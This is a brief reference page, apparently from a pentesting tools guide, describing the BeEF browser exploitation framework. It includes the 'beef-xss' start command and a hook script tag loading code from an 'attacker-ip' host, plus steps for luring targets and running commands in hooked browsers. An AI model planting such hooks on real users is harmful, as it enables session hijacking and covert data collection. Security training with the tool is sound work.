Home » Tools » 6. Exploitation Tools » 2. BeEF (Browser Exploitation Framework)

2. BeEF (Browser Exploitation Framework)

Description:
BeEF (Browser Exploitation Framework) is an open-source penetration testing tool that focuses on the web browser. It exploits vulnerabilities in web browsers to execute commands, hijack sessions, and gain further access to systems. It is especially useful for conducting social engineering attacks and browser pivoting.

Examples:

    1. Starting BeEF:
      • beef-xss

Explanation: Starts the BeEF server. After starting, users can access the BeEF control panel through their browser.

    1. Hooking a Browser:
      • Send the target a link to a web page that includes the BeEF hook script (e.g., <script src=”http://attacker-ip:3000/hook.js”></script>). Explanation: Once the target visits the link, their browser will be “hooked,” allowing BeEF to send commands and interact with the browser.
    2. Command Execution:
      • After hooking the browser, select the target from the BeEF UI and choose an exploit or command to execute, such as capturing a screenshot or gathering geolocation data. Explanation: Commands can be executed to collect information, manipulate the DOM, or even use exploits to escalate privileges.
Scroll to Top